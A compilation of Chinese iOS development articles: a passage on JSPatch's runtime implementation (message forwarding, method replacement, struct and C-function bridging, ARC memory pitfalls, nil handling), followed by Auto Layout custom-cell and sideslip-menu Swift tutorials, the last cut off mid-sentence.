这样无论方法参数是什么，有多少个，都可以通过 va_list的一组方法一个个取出来，组成 NSArray 在调用 JS 方法时传回。很完美地解决了参数的问题，一直运行正常，直到我跑在 arm64 的机子上测试，一调用就 crash。查了资料，才发现 arm64 下 va_list 的结构改变了，导致无法上述这样取参数。详见这篇文章：https://blog.nelhage.com/2010/10/amd64-and-va_arg。

3.ForwardInvocation实现(64位)

继续寻找解决方案，最后找到另一种非常 hack 的方法解决参数获取的问题，利用了 OC 消息转发机制。

当调用一个 NSObject 对象不存在的方法时，并不会马上抛出异常，而是会经过多层转发，层层调用对象的 -resolveInstanceMethod:, -forwardingTargetForSelector:, -methodSignatureForSelector:, -forwardInvocation:  等方法，其中最后 -forwardInvocation: 是会有一个 NSInvocation 对象，这个 NSInvocation 对象保存了这个方法调用的所有信息，包括 Selector 名，参数和返回值类型，最重要的是有所有参数值，可以从这个 NSInvocation 对象里拿到调用的所有参数值。我们可以想办法让每个需要被 JS 替换的方法调用最后都调到 -forwardInvocation:，就可以解决无法拿到参数值的问题了。

具体实现，以替换 UIViewController 的 -viewWillAppear: 方法为例：


	把UIViewController的 -viewWillAppear: 方法通过 class_replaceMethod() 接口指向 _objc_msgForward，这是一个全局 IMP，OC 调用方法不存在时都会转发到这个 IMP 上，这里直接把方法替换成这个 IMP，这样调用这个方法时就会走到 -forwardInvocation:。


	为UIViewController添加 -ORIGviewWillAppear: 和 -_JPviewWillAppear: 两个方法，前者指向原来的IMP实现，后者是新的实现，稍后会在这个实现里回调JS函数。


	改写UIViewController的 -forwardInvocation: 方法为自定义实现。一旦OC里调用 UIViewController 的 -viewWillAppear: 方法，经过上面的处理会把这个调用转发到 -forwardInvocation: ，这时已经组装好了一个 NSInvocation，包含了这个调用的参数。在这里把参数从 NSInvocation 反解出来，带着参数调用上述新增加的方法 -JPviewWillAppear: ，在这个新方法里取到参数传给JS，调用JS的实现函数。整个调用过程就结束了，整个过程图示如下：






最后一个问题，我们把 UIViewController 的 -forwardInvocation: 方法的实现给替换掉了，如果程序里真有用到这个方法对消息进行转发，原来的逻辑怎么办？首先我们在替换 -forwardInvocation: 方法前会新建一个方法 -ORIGforwardInvocation:，保存原来的实现IMP，在新的 -forwardInvocation: 实现里做了个判断，如果转发的方法是我们想改写的，就走我们的逻辑，若不是，就调 -ORIGforwardInvocation: 走原来的流程。

其他就是实现上的细节了，例如需要根据不同的返回值类型生成不同的 IMP，要在各处处理参数转换等。

4.新增方法

i.方案

在 JSPatch 刚开源时，是不支持为一个类新增方法的，因为觉得能替换原生方法就够了，新的方法纯粹添加在 JS 对象上，只在 JS 端跑就行了。另外 OC 为类新增方法需要知道各个参数和返回值的类型，需要在 JS 定一种方式把这些类型传给 OC 才能完成新增方法，比较麻烦。后来挺多人比较关注这个问题，不能新增方法导致 action-target 模式无法用，我也开始想有没有更好的方法实现添加方法。后来的解决方案是所有类型都用 id 表示，因为反正新增的方法都是 JS 在用(Protocol定义的方法除外)，不如新增的方法返回值和参数全统一成 id 类型，这样就不用传类型了。

现在 defineClass 定义的方法会经过 JS 包装，变成一个包含参数个数和方法实体的数组传给OC，OC会判断如果方法已存在，就执行替换的操作，若不存在，就调用 class_addMethod() 新增一个方法，通过传过来的参数个数和方法实体生成新的 Method，把 Method 的参数和返回值类型都设为id。这里 JS 调用新增方法走的流程还是 forwardInvocation 这一套。

ii.Protocol

对于新增的方法还有个问题，若某个类实现了某 protocol，protocol方法里有可选的方法，它的参数不全是 id 类型，例如 UITableViewDataSource 的一个方法：

- (NSInteger)tableView:(UITableView *)tableView sectionForSectionIndexTitle:(NSString *)title atIndex:(NSInteger)index;

若原类没有实现这个方法，在 JS 里实现了，会走到新增方法的逻辑，每个参数类型都变成 id，与这个 protocol 方法不匹配，产生错误。

这里就需要在 JS 定义类时给出实现的 protocol，这样在新增 Protocol 里已定义的方法时，参数类型会按照 Protocol 里的定义去实现，Protocol 的定义方式跟 OC 上的写法一致：

defineClass("JPViewController: UIViewController <UIAlertViewDelegate>", {
  alertView_clickedButtonAtIndex: function(alertView, buttonIndex) {
    console.log('clicked index ' + buttonIndex)
  }
})

实现方式比较简单，先把 Protocol 名解析出来，当 JS 定义的方法在原有类上找不到时，再通过 objc_getProtocol 和 protocol_copyMethodDescriptionList runtime 接口把 Protocol 对应的方法取出来，若匹配上，则按其方法的定义走方法替换的流程。

5.Property实现

若要在 JS 操作 OC 对象上已定义好的 property，只需要像调用普通 OC 方法一样，调用这个对象的 get/set 方法就行了：

//OC
@property (nonatomic) NSString *data;
@property (nonatomic) BOOL *succ;

//JS
self.setSucc(1);
var str = self.data();

若要动态给 OC 对象新增 property，则要另辟蹊径：

defineClass('JPTableViewController : UITableViewController', {
  dataSource: function() {
    var data = self.getProp('data')
    if (data) return data;
    data = [1,2,3]
    self.setProp_forKey(data, 'data')
    return data;
  }
}

JSPatch可以通过 -getProp:， -setProp:forKey: 这两个方法给对象动态添加成员变量。实现上用了运行时关联接口 objc_getAssociatedObject() 和 objc_setAssociatedObject() 模拟，相当于把一个对象跟当前对象self关联起来，以后可以通过当前对象self找到这个对象，跟成员的效果一样，只是一定得是id对象类型。

本来OC有 class_addIvar() 可以为类添加成员，但必须在类注册之前添加完，注册完成后无法添加，这意味着可以为在JS新增的类添加成员，但不能为OC上已存在的类添加，所以只能用上述方法模拟。

6.self关键字

defineClass("JPViewController: UIViewController", {
  viewDidLoad: function() {
    var view = self.view()
    ...
  },
}

JSPatch支持直接在defineClass里的实例方法里直接使用 self 关键字，跟OC一样 self 是指当前对象，这个 self 关键字是怎样实现的呢？实际上这个self是个全局变量，在 defineClass 里对实例方法 方法进行了包装，在调用实例方法之前，会把全局变量 self 设为当前对象，调用完后设回空，就可以在执行实例方法的过程中使用 self 变量了。这是一个小小的trick。

7.super关键字

defineClass("JPViewController: UIViewController", {
  viewDidLoad: function() {
    self.super.viewDidLoad()
  },
}

OC 里 super 是一个关键字，无法通过动态方法拿到 super，那么 JSPatch 的 super 是怎么实现的？实际上调用 super 的方法，OC 做的事是调用父类的某个方法，并把当前对象当成 self 传入父类方法，我们只要模拟它这个过程就行了。

首先 JS 端需要告诉OC想调用的是当前对象的 super 方法，做法是调用 self.super()时，__c 函数会做特殊处理，返回一个新的对象，这个对象同样保存了 OC 对象的引用，同时标识 __isSuper = 1。

...
if (methodName == 'super') {
  return function() {
    return {__obj: self.__obj, __clsName: self.__clsName, __isSuper: 1}
  }
}
...

再用这个返回的对象去调用方法时，__c 函数会把 __isSuper 这个标识位传给 OC，告诉 OC 要调 super 的方法。OC 做的事情是，如果是调用 super 方法，找到 superClass 这个方法的 IMP 实现，为当前类新增一个方法指向 super 的 IMP 实现，那么调用这个类的新方法就相当于调用 super 方法。把要调用的方法替换成这个新方法，就完成 super 方法的调用了。

static id callSelector(NSString *className, NSString *selectorName, NSArray *arguments, id instance, BOOL isSuper) {
    ...
    if (isSuper) {
        NSString *superSelectorName = [NSString stringWithFormat:@"SUPER_%@", selectorName];
        SEL superSelector = NSSelectorFromString(superSelectorName);

        Class superCls = [cls superclass];
        Method superMethod = class_getInstanceMethod(superCls, selector);
        IMP superIMP = method_getImplementation(superMethod);

        class_addMethod(cls, superSelector, superIMP, method_getTypeEncoding(superMethod));
        selector = superSelector;
    }
    ...
}

扩展

1.Struct 支持

struct 类型在 JS 与 OC 间传递需要做转换处理，一开始 JSPatch 只处理了原生的 NSRange / CGRect / CGSize / CGPoint 这四个，其他 struct 类型无法在 OC / JS 间传递。对于其他类型的 struct 支持，我是采用扩展的方式，让写扩展的人手动处理每个要支持的 struct 进行类型转换，这种做法没问题，但需要在 OC 代码写好这些扩展，无法动态添加，转换的实现也比较繁琐。于是转为另一种实现：

/*
struct JPDemoStruct {
  CGFloat a;
  long b;
  double c;
  BOOL d;
}
*/
require('JPEngine').defineStruct({
  "name": "JPDemoStruct",
  "types": "FldB",
  "keys": ["a", "b", "c", "d"]
})

可以在 JS 动态定义一个新的 struct，只需提供 struct 名，每个字段的类型以及每个字段对应的在 JS 的键值，就可以支持这个 struct 类型在 JS 和 OC 间传递了：

//OC
@implementation JPObject
+ (void)passStruct:(JPDemoStruct)s;
+ (JPDemoStruct)returnStruct;
@end

//JS
require('JPObject').passStruct({a:1, b:2, c:4.2, d:1})
var s = require('JPObject').returnStruct();

这里的实现原理是顺序去取 struct 里每个字段的值，再根据 key 重新包装成 NSDictionary 传给 JS，怎样顺序取 struct 每字段的值呢？可以根据传进来的 struct 字段的变量类型，拿到类型对应的长度，顺序拷贝出 struct 对应位置和长度的值，具体实现：

for (int i = 0; i < types.count; i ++) {
  size_t size = sizeof(types[i]);  //types[i] 是 float double int 等类型
  void *val = malloc(size);
  memcpy(val, structData + position, size);
  position += size;
}

struct 从 JS 到 OC 的转换同理，只是反过来，先生成整个 struct 大小的内存地址（通过 struct 所有字段类型大小累加），再逐渐取出 JS 传过来的值进行类型转换拷贝到这端内存里。

这种做法效果很好，JS 端要用一个新的 struct 类型，不需要 OC 事先定义好，可以直接动态添加新的 struct 类型支持，但这种方法依赖 struct 各个字段在内存空间上的严格排列，如果某些机器在底层实现上对 struct 的字段进行一些字节对齐之类的处理，这种方式没法用了，不过目前在 iOS 上还没碰到这样的问题。

2.C 函数支持

C 函数没法通过反射去调用，所以只能通过手动转接的方式让 JS 调 C 方法，具体就是通过 JavaScriptCore 的方法在 JS 当前作用域上定义一个 C 函数同名方法，在这个方法实现里调用 C 函数，以支持 memcpy() 为例：

context[@"memcpy"] = ^(JSValue *des, JSValue *src, size_t n) {
    memcpy(des, src, n);
};

这样就可以在 JS 调用 memcpy() 函数了。实际上这里还有参数 JS <-> OC 转换问题，这里先忽略。

这里有两个问题：

a.如果这些 C 函数的支持都写在 JSPatch 源文件里，源文件会非常庞大。
b.如果一开始就给 JS 加这些函数定义，若要支持的 C 函数量大时会影响性能。

对此设计了一种扩展的方式去解决这两个问题，JSPatch 需要做的就是为外部提供 JS 运行上下文 JSContext，以及参数转换的方法，最终设计出来的扩展接口是这样：

@interface JPExtension : NSObject
+ (void)main:(JSContext *)context;

+ (void *)formatPointerJSToOC:(JSValue *)val;
+ (id)formatPointerOCToJS:(void *)pointer;
+ (id)formatJSToOC:(JSValue *)val;
+ (id)formatOCToJS:(id)obj;

@end

+main 方法暴露了 JSPatch 的运行环境 JSContext 给外部，可以自由在这个 JSContext 上加函数。另外四个 formatXXX 方法都是参数转换方法。上述的 memcpy() 完整的扩展定义如下：

@implementation JPMemory
+ (void)main:(JSContext *)context
{
    context[@"memcpy"] = ^id(JSValue *des, JSValue *src, size_t n) {
        void *ret = memcpy([self formatPointerJSToOC:des], [self formatPointerJSToOC:src], n);
        return [self formatPointerOCToJS:ret];
    };
}
@end

同时 JSPatch 提供了 +addExtensions: 接口，让 JS 端可以动态加载某个扩展，在需要的时候再给 JS 上下文添加这些 C 函数：

require('JPEngine').addExtensions(['JPMemory'])

实际上还有另一种方法添加 C 函数的支持，就是定义 OC 方法转接：

@implementation JPCFunctions
+ (void)memcpy:(void *)des src:(void *)src n:(size_t)n {
  memcpy(des, src, n);
}
@end

然后直接在 JS 上这样调：

require('JPFunctions').memcpy_src_n(des, src, n);

这样的做法不需要扩展机制，也不需要在实现时进行参数转换，但因为它走的是 OC runtime 那一套，相比扩展直接调用的方式，速度慢了一倍，为了更好的性能，还是提供一套扩展接口。

细节

整个 JSPatch 的基础原理上面大致阐述完了，接下来在看看一些实现上碰到的坑和的细节问题。

1.Special Struct

上文提到会把要覆盖的方法指向_objc_msgForward，进行转发操作，这里出现一个问题，如果替换方法的返回值是某些 struct，使用 _objc_msgForward（或者之前的 @selector(__JPNONImplementSelector)）会 crash。几经辗转，找到了解决方法：对于某些架构某些 struct，必须使用 _objc_msgForward_stret 代替 _objc_msgForward。为什么要用 _objc_msgForward_stret 呢，找到一篇说明  objc_msgSend_stret 和 objc_msgSend 区别的文章：http://sealiesoftware.com/blog/archive/2008/10/30/objc_explain_objc_msgSend_stret.html），说得比较清楚，原理是一样的，是C的一些底层机制的原因，简单复述一下：

大多数 CPU 在执行 C 函数时会把前几个参数放进寄存器里，对 obj_msgSend 来说前两个参数固定是 self / _cmd，它们会放在寄存器上，在最后执行完后返回值也会保存在寄存器上，取这个寄存器的值就是返回值：

-(int) method:(id)arg;
    r3 = self
    r4 = _cmd, @selector(method:)
    r5 = arg
    (on exit) r3 = returned int

普通的返回值(int/pointer)很小，放在寄存器上没问题，但有些 struct 是很大的，寄存器放不下，所以要用另一种方式，在一开始申请一段内存，把指针保存在寄存器上，返回值往这个指针指向的内存写数据，所以寄存器要腾出一个位置放这个指针，self / _cmd 在寄存器的位置就变了：

 -(struct st) method:(id)arg;
    r3 = &struct_var (in caller's stack frame)
    r4 = self
    r5 = _cmd, @selector(method:)
    r6 = arg
    (on exit) return value written into struct_var

objc_msgSend 不知道 self / _cmd 的位置变了，所以要用另一个方法 objc_msgSend_stret 代替。原理大概就是这样。

上面说某些架构某些 struct 有问题，那具体是哪些呢？iOS 架构中非 arm64 的都有这问题，而怎样的 struct 需要走上述流程用 xxx_stret 代替原方法则没有明确的规则，OC 也没有提供接口，只有在一个奇葩的接口上透露了这个天机，于是有这样一个神奇的判断：

if ([methodSignature.debugDescription rangeOfString:@"is special struct return? YES"].location != NSNotFound)

在 NSMethodSignature 的 debugDescription 上打出了是否 special struct，只能通过这字符串判断。所以最终的处理是，在非 arm64 下，是 special struct 就走 _objc_msgForward_stret，否则走 _objc_msgForward。

2.内存问题

i.Double Release

实现过程中碰到一些内存问题，首先是 Double Release 问题。从 -forwardInvocation: 里的 NSInvocation 对象取参数值时，若参数值是id类型，我们会这样取:

id arg;
[invocation getArgument:&arg atIndex:i];

但这样的写法会导致 crash，这是因为 id arg 在ARC下相当于 __strong id arg，若这时在代码显式为 arg 赋值，根据 ARC 的机制，会自动插入一条 retain 语句，然后在退出作用域时插入 release 语句：

- (void)method {
id arg = [SomeClass getSomething];
// [arg retain]
...
// [arg release]  退出作用域前release
}

但我们这里不是显式对 arg 进行赋值，而是传入 -getArgument:atIndex: 方法，在这里面赋值后 ARC 没有自动给这个变量插入 retain 语句，但退出作用域时还是自动插入了 release 语句，导致这个变量多释放了一次，导致 crash。解决方法是把 arg 变量设成 __unsafe_unretained 或 __weak，让 ARC 不在它退出作用域时插入 release 语句即可：

__unsafe_unretained id arg;
[invocation getReturnValue:&arg];

还可以通过 __bridge 转换让局部变量持有返回对象，这样做也是没问题的：

id returnValue;
void *result;
[invocation getReturnValue:&result];
returnValue = (__bridge id)result;

ii.内存泄露

Double Release 的问题解决了，又碰到内存泄露的坑。某天 github issue 上有人提对象生成后没有释放，几经排查，定位到还是这里 NSInvocation getReturnValue 的问题，当 NSInvocation 调用的是 alloc 时，返回的对象并不会释放，造成内存泄露，只有把返回对象的内存管理权移交出来，让外部对象帮它释放才行：

id returnValue;
void *result;
[invocation getReturnValue:&result];
if ([selectorName isEqualToString:@"alloc"] || [selectorName isEqualToString:@"new"]) {
    returnValue = (__bridge_transfer id)result;
} else {
    returnValue = (__bridge id)result;
}

这是因为 ARC 对方法名有约定，当方法名开头是 alloc / new / copy / mutableCopy 时，返回的对象是 retainCount = 1 的，除此之外，方法返回的对象都是 autorelease 的，按上一节的说法，对于普通方法返回值，ARC 会在赋给 strong 变量时自动插入 retain 语句，但对于 alloc 等这些方法，不会再自动插入 retain 语句：

id obj = [SomeObject alloc];
//alloc 方法返回的对象 retainCount 已 +1，这里不需要retain


id obj2 = [SomeObj someMethod];
//方法返回的对象是 autorelease，ARC 会再这里自动插入 [obj2 retain] 语句

而 ARC 并没有处理非显示调用时的情况，这里动态调用这些方法时，ARC 都不会自动插入 retain，这种情况下，alloc / new 等这类方法返回值的 retainCount 是会比其他方法返回值多1的，所以需要特殊处理这类方法。

3.‘_’的处理

JSPatch 用下划线’_’连接OC方法多个参数间的间隔：

- (void)setObject:(id)anObject forKey:(id)aKey;
<==>
setObject_forKey()

那如果OC方法名里含有’_’，那就出现歧义了：

- (void)set_object:(id)anObject forKey:(id)aKey;
<==>
set_object_forKey()

没法知道 set_object_forKey 对应的 selector 是 set_object:forKey: 还是 set:object:forKey:。

对此需要定个规则，在 JS 用其他字符代替 OC 方法名里的 _。JS 命名规则除了字母和数字，就只有 $ 和 _，看起来只能用 $ 代替了，但效果很丑：

- (void)set_object:(id)anObject forKey:(id)aKey;
- (void)_privateMethod();
<==>
set$object_forKey()
$privateMethod()

于是尝试另一种方法，用两个下划线 __ 代替：

set__object_forKey()
__privateMethod()

但用两个下划线代替有个问题，OC 方法名参数后面加下划线会匹配不到

- (void)setObject_:(id)anObject forKey:(id)aKey;
<==>
setObject___forKey()

实际上 setObject___forKey() 匹配到对应的 selector 是 setObject:_forKey:。虽然有这个坑，但因为很少见到这种奇葩的命名方式，感觉问题不大，使用$也会导致替换不了 OC 方法名包含 $ 字符的，最终为了代码颜值，使用了双下划线 __ 表示。

4.JPBoxing

在使用 JSPatch 过程中发现JS无法调用 NSMutableArray / NSMutableDictionary / NSMutableString 的方法去修改这些对象的数据，因为这三者都在从 OC 返回到 JS 时 JavaScriptCore 把它们转成了 JS 的 Array / Object / String，在返回的时候就脱离了跟原对象的联系，这个转换在 JavaScriptCore 里是强制进行的，无法选择。

若想要在对象返回 JS 后，回到 OC 还能调用这个对象的方法，就要阻止 JavaScriptCore 的转换，唯一的方法就是不直接返回这个对象，而是对这个对象进行封装，JPBoxing 就是做这个事情的：

@interface JPBoxing : NSObject
@property (nonatomic) id obj;
@end

@implementation JPBoxing
+ (instancetype)boxObj:(id)obj
{
   JPBoxing *boxing = [[JPBoxing alloc] init];
    boxing.obj = obj;
    return boxing;
}

把 NSMutableArray / NSMutableDictionary / NSMutableString 对象作为 JPBoxing 的成员保存在 JPBoxing 实例对象上返回给 JS，JS 拿到的是 JPBoxing 对象的指针，再传回给 OC 时就可以通过对象成员取到原来的 NSMutableArray / NSMutableDictionary / NSMutableString 对象，类似于装箱/拆箱操作，这样就避免了这些对象被 JavaScriptCore 转换。

实际上只有可变的 NSMutableArray / NSMutableDictionary / NSMutableString 这三个类有必要调用它的方法去修改对象里的数据，不可变的 NSArray / NSDictionary / NSString 是没必要这样做的，直接转为 JS 对应的类型使用起来会更方便，但为了规则简单，JSPatch 让 NSArray / NSDictionary / NSString 也同样以封装的方式返回，避免在调用 OC 方法返回对象时还需要关心它返回的是可变还是不可变对象。最后整个规则还是挺清晰：NSArray / NSDictionary / NSString 及其子类与其他 NSObject 对象的行为一样，在 JS 上拿到的都只是其对象指针，可以调用它们的 OC 方法，若要把这三种对象转为对应的 JS 类型，使用额外的 .toJS() 的接口去转换。

对于参数和返回值是C指针和 Class 类型的支持同样是用 JPBoxing 封装的方式，把指针和 Class 作为成员保存在 JPBoxing 对象上返回给 JS，传回 OC 时再解出来拿到原来的指针和 Class，这样 JSPatch 就支持所有数据类型 OC<->JS 的互传了。

5.nil的处理

i.区分NSNull/nil

对于"空"的表示，JS 有 null / undefined，OC 有 nil / NSNull，JavaScriptCore 对这些参数传递处理是这样的：


	从 JS 到 OC，直接传递 null / undefined 到 OC 都会转为 nil，若传递包含 null / undefined 的 Array 给 OC，会转为 NSNull。


	从 OC 到 JS，nil 会转为 null，NSNull 与普通 NSObject 一样返回指针。




JSPatch 的流程上都是通过数组的方式把参数从 JS 传入 OC，这样所有的 null / undefined 到 OC 就都变成了 NSNull，而真正的 NSNull 对象传进来也是 NSNull，无法分辨从 JS 过来实际传的是什么，需要有种方式区分这两者。

考虑过在 JS 用一个特殊的对象代表 nil，null / undefined 只用来表示 NSNull，后来觉得 NSNull 是很少手动传递的变量，而 null / undefined 以及 OC 的 nil 却很常见，这样做会给日常开发带来很大不便。于是反过来，在 JS 用一个特殊变量 nsnull 表示 NSNull，其他 null / undefined 表示 nil，这样传入 OC 就可以分辨出 nil 和 NSNull，具体使用方式：

@implementation JPObject
+ (void)testNil:(id)obj
{
     NSLog(@"%@", obj);
}
@end

require("JPObject").testNil(null)      //output: nil
require("JPObject").testNil(nsnull)      //output: NSNull

这样做有个小坑，就是显示使用 NSNull.null() 作为参数调用时，到 OC 后会变成 nil：

require("JPObject").testNil(require("NSNull").null())     //output: nil

这个只需注意下用 nsnull 代替就行，从 OC 返回的 NSNull 再回传回去还是可以识别到 NSNull。

ii.链式调用

第二个问题，nil 在 JS 里用 null / undefined 表示，造成的后果是无法用 nil 调用方法，也就无法保证链式调用的安全：

@implementation JPObject
+ (void)returnNil
{
     return nil;
}
@end

[[JPObject returnNil] hash]     //it’s OK

require("JPObject").returnNil().hash()     //crash

原因是在 JS 里 null / undefined 不是对象，无法调用任何方法，包括我们给所有对象加的 __c() 方法。解决方式一度觉得只有回到上面说的，用一个特殊的对象表示 nil，才能解决这个问题了。但使用特殊的对象表示 nil，后果就是在 js 判断是否为 nil 时就要很啰嗦：

//假设用一个_nil对象变量表示OC返回的nil
var obj = require("JPObject").returnNil()
obj.hash()     //经过特殊处理没问题
if (!obj || obj == _nil) {
     //判断对象是否为nil就得附加判断是否等于_nil
}

这样的使用方式难以接受，继续寻找解决方案，发现 true / false 在 JS 是个对象，是可以调用方法的，如果用 false 表示 nil，即可以做到调用方法，又可以直接通过 if (!obj) 判断是否为 nil，于是沿着这个方向，解决了用 false 表示 nil 带来的各种坑，几乎完美地解决了这个问题。实现上的细节就不多说了，说"几乎完美"，是因为还有一个小坑，传递 false 给 OC 上参数类型是 NSNumber* 的方法，OC 会得到 nil 而不是 NSNumber 对象：

@implementation JPObject
+ (void)passNSNumber:(NSNumber *)num {
     NSLog(@"%@", num);
}
@end

require("JPObject").passNSNumber(false) //output: nil

如果 OC 方法的参数类型是 BOOL，或者传入的是 true / 0，都是没问题的，这小坑无伤大雅。

题外话，神奇的 JS 里 false 的 this 竟然不再是原来的 false，而是另一个 Boolean 对象，太特殊了：

Object.prototype.c = function(){console.log(this === false)};
false.c() //output false

总结

JSPatch 的原理以及一些实现细节就阐述到这里，希望这篇文章对大家了解和使用 JSPatch 有帮助。


 Auto Layout 使用心得（三）—— 自定义 cell 并使用 Auto Layout

作者：JohnLui

来源： Auto Layout 使用心得（三）—— 自定义 cell 并使用 Auto Layout



                    

  此系列文章代码仓库在 https://github.com/johnlui/AutoLayout ，有不明白的地方可以参考我的 Auto Layout 设置哦，下载到本地打开就可以了。




简介


本篇中我们将尝试自定义一个 UITableViewCell，并使用 Auto Layout 对其进行约束。


自定义 cell 基础


在前面的项目中，我们采用 StoryBoard 来组织页面，StoryBoard 可以视为许多个 xib 的集合，所以我们可以得到两个信息：



	这个项目通过初始化主 StoryBoard 文件来展现 APP，而 UIViewController 类文件是通过 StoryBoard 文件的绑定来初始化并完成功能的。

	我们可以创建新的 StoryBoard 文件或者新的 xib 文件来构造 UI，然后动态地加载进页面。



创建文件


我们可以一次性创建 xib 文件和类的代码文件。


新建 Cocoa Touch Class：





设置和下图相同即可：





检查成果





分别选中上图中的 1、2 两处，检查 3 处是否已经自动绑定为 firstTableViewCell，如果没有绑定，请先检查选中的元素确实是 2，然后手动绑定即可。


完成绑定工作


切换一页，如下图进行 Identifier 设置：





新建 Table View Controller 页面


新建一个 Table View Controller 页面，并把我们之前创建的 Swift on iOS 那个按钮的点击事件绑定过去，我们得到：





然后创建一个名为 firstTableViewController 的 UITableViewController 类，创建流程跟前面基本一致。不要创建 xib。然后选中 StoryBoard 中的 Table View Controller（选中之后有蓝色边框包裹），在右侧对它和 firstTableViewController 类进行绑定：





调用自定义 cell


修改 firstTableViewController 类中的有效代码如下：


swift
import UIKit

class firstTableViewController: UITableViewController {

    override func viewDidLoad() {
        super.viewDidLoad()

        var nib = UINib(nibName: "firstTableViewCell", bundle: nil)
        self.tableView.registerNib(nib, forCellReuseIdentifier: "firstTableViewCell")
    }

    override func didReceiveMemoryWarning() {
        super.didReceiveMemoryWarning()
    }

    // MARK: - Table view data source

    override func numberOfSectionsInTableView(tableView: UITableView) -> Int {
        return 1
    }

    override func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
        return 10
    }

    override func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {
        let cell = tableView.dequeueReusableCellWithIdentifier("firstTableViewCell", forIndexPath: indexPath) as firstTableViewCell

        cell.textLabel?.text = indexPath.row.description

        return cell
    }
}



viewDidLoad() 中添加的两行代码是载入 xib 的操作。最下面的三个 func 分别是定义：



	self.tableView 中有多少个 section

	每个 section 中分别有多少个条目

	实例化每个条目，提供内容



如果你得到以下页面，说明你调用自定义 cell 成功了！





给自定义 cell 添加元素并使用 Auto Layout 约束


首先向 Images.xcassets 中随意加入一张图片。


然后在左侧文件树中选中 firstTableViewCell.xib，从右侧组件库中拖进去一个 Image View，并且在右侧将其尺寸设置如下图右侧：





给 ImageView 添加约束：





选中该 ImageView（左箭头所示），点击自动 Auto Layout（右箭头所示），即可。


给 ImageView 设置图片：





再从右侧组件库中拖入一个 UILabel，吸附到最右侧，垂直居中，为其添加自动约束，这一步不再赘述。


在 firstTableViewCell 类中绑定 xib 中拖进去的元素


选中 firstTableViewCell.xib，切换到双视图，直接进行拖动绑定：





绑定完成！


约束 cell 的高度


在 firstTableViewController 中添加以下方法：


swiftoverride func tableView(tableView: UITableView, heightForRowAtIndexPath indexPath: NSIndexPath) -> CGFloat {
    return 50
}



给自定义的 UILabel 添加内容


修改 firstTableViewController 中以下函数为：


swiftoverride func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {
    let cell = tableView.dequeueReusableCellWithIdentifier("firstTableViewCell", forIndexPath: indexPath) as firstTableViewCell

    cell.firstLabel.text = indexPath.row.description

    return cell
}



查看结果


4.0 寸：





4.7 寸：





如果你得到以上结果，那么恭喜你自定义 cell 并使用 Auto Layout 成功！



  下一步：Auto Layout 使用心得（四）—— 22 行代码实现拖动回弹






原文发表在我的个人网站：Auto Layout 使用心得（三）—— 自定义 cell 并使用 Auto Layout
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  代码示例：https://github.com/johnlui/SwiftSideslipLikeQQ




本文中，我们将一起使用 UINavigationController 来管理主视图，并实现点击左视图中菜单时，主视图自动联动的功能。本文是本系列文章的终结篇，也是最有难度的一篇，我已经为此编写了 10 小时的代码，前八小时一直在试错。毕竟我只是一个只有三个多月 iOS 开发经验的新手 (～ o ～)Y


给主视图装上 NavigationBar


给 HomeViewController 增加 UINavigationController 父视图


操作如下图：





修改主视图载入逻辑



	使用一个 UIView 对象将 homeViewController.navigationController!.view 和 homeViewController.view 包裹，再加入 self.view。

	为了能取到带 navigationController 的 HomeViewController，需要先从 StoryBoard 取出 UINavigationController，再取其第一个 UIViewController 作为 HomeViewController。



代码如下：


swiftmainView = UIView(frame: self.view.frame)
homeNavigationController = UIStoryboard(name: "Main", bundle: nil).instantiateViewControllerWithIdentifier("HomeNavigationController") as! UINavigationController
homeViewController = homeNavigationController.viewControllers.first as! HomeViewController
mainView.addSubview(homeViewController.navigationController!.view)
mainView.addSubview(homeViewController.view)
self.view.addSubview(mainView)




  tips: homeNavigationController 也要设置成 ViewController 的成员变量，这样才能在这种特殊架构下实现对 HomeViewController 的 navigationController 的操作。




给 mainView 赋予拖动手势事件


swift// 绑定 UIPanGestureRecognizer
let panGesture = homeViewController.panGesture
panGesture.addTarget(self, action: Selector("pan:"))
mainView.addGestureRecognizer(panGesture)



修改自动归位动画


修改 doTheAnimate 函数中的 homeViewController.view 为 mainView：


swiftself.mainView.center = CGPointMake(self.view.center.x + self.distance, self.view.center.y)
self.mainView.transform = CGAffineTransformScale(CGAffineTransformIdentity, proportion, proportion)



得益于之前良好的封装，安装 NavigationBar 的工作已经完成


实现联动


建立 HomeViewController 的子视图控制器


拖放一个 View Controller，并新建一个 OtherPageViewController: UIViewController 类，将两者绑定：





使用 segue 连接 HomeViewController 和 OtherPageViewController





在 LeftViewController 中相应单击事件，实现联动！


修改 LeftViewController 中的 didSelectRowAtIndexPath 方法：


swiftfunc tableView(tableView: UITableView, didSelectRowAtIndexPath indexPath: NSIndexPath) {
    let viewController = UIApplication.sharedApplication().keyWindow?.rootViewController as! ViewController

    viewController.homeViewController.titleOfOtherPages = titlesDictionary[indexPath.row]
    viewController.homeViewController.performSegueWithIdentifier("showOtherPages", sender: self)

    viewController.showHome()

    tableView.deselectRowAtIndexPath(indexPath, animated: false)
}



修改 HomeViewController，传递数据


swiftimport UIKit

class HomeViewController: UIViewController {

    var titleOfOtherPages = ""

    @IBOutlet var panGesture: UIPanGestureRecognizer!
    override func viewDidLoad() {
        super.viewDidLoad()
    }

    override func didReceiveMemoryWarning() {
        super.didReceiveMemoryWarning()
        // Dispose of any resources that can be recreated.
    }



    // MARK: - Navigation

    // In a storyboard-based application, you will often want to do a little preparation before navigation
    override func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) {
        if segue.identifier == "showOtherPages" {
            if let a = segue.destinationViewController as? OtherPageViewController {
                a.PageTitle = titleOfOtherPages
            }
        }
    }

}



视图联动已经实现！


收尾工作


主要功能实现了以后，我们还要做一些收尾工作，如首页的 segmentView、各种用户友好的单击事件等。


设置 segmentView


在 HomeViewController 内：


swift// 设置中间 segmentView 视图
let segmentView = UISegmentedControl(items: ["消息", "电话"])
segmentView.selectedSegmentIndex = 0
segmentView.setWidth(60, forSegmentAtIndex: 0)
segmentView.setWidth(60, forSegmentAtIndex: 1)
self.navigationItem.titleView = segmentView



给 NavigationBar 的左侧头像和右侧星星增加单击打开左、右视图的功能


直接从 Xcode 右下角拖放图片资源到相应的位置即可完成图片设置，之后在 ViewController 的合适位置增加下面两行代码：


swifthomeViewController.navigationItem.leftBarButtonItem?.action = Selector("showLeft")
homeViewController.navigationItem.rightBarButtonItem?.action = Selector("showRight")



给主视图增加点击会主视图功能：


